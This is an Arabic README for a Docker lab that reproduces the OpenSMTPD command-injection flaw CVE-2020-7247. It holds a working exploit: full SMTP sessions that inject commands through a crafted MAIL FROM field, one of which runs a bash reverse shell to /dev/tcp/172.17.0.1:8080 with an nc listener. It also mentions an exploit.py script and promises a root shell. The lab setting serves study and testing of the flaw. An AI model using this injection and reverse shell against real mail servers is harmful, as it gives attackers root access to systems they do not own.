
بيئة قائمة على Docker لإعادة إنتاج CVE-2020-7247 (OpenSMTPD) مع سكريبت استغلال بلغة بايثون لتنفيذ أوامر عشوائية وشل عكسي عبر حقل MAIL FROM مُعدّل في SMTP.
يحتوي هذا المستودع على الملفات اللازمة لبناء صورة Docker تحتوي على بيئة ضعيفة لـ OpenSMTPD (6.6.1p1). تسمح الثغرة للمهاجم بتنفيذ أوامر عشوائية عبر جلسة SMTP مُصممة خصيصًا، وتحديدًا في حقل MAIL FROM.
docker build -t opensmtpd-vuln -f Dockerfile .
docker run -it --rm --name opensmtpd-vuln-test opensmtpd-vuln /bin/bash
smtpd -dv
nix-build opensmtpd-vuln.nix
docker load < result
docker run -it --rm opensmtpd-vuln-nix /bin/bash
smtpd -dv
3.1. تنفيذ أوامر عشوائية:
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;touch secret.txt;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
Hello Bonjour Xin chào
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
3.2. الحصول على شل عكسي:
إعداد المستمع:
nc -lnvp 8080
تشغيل سكريبت exploit.py (على طرفية أخرى):
python3 exploit.py
أو قم بذلك يدويًا:
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
sh -c 'echo "bash -i >& /dev/tcp/172.17.0.1/8080 0>&1" | bash'
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
يجب أن يكون لديك الآن شل كـ root على الجهاز المضيف.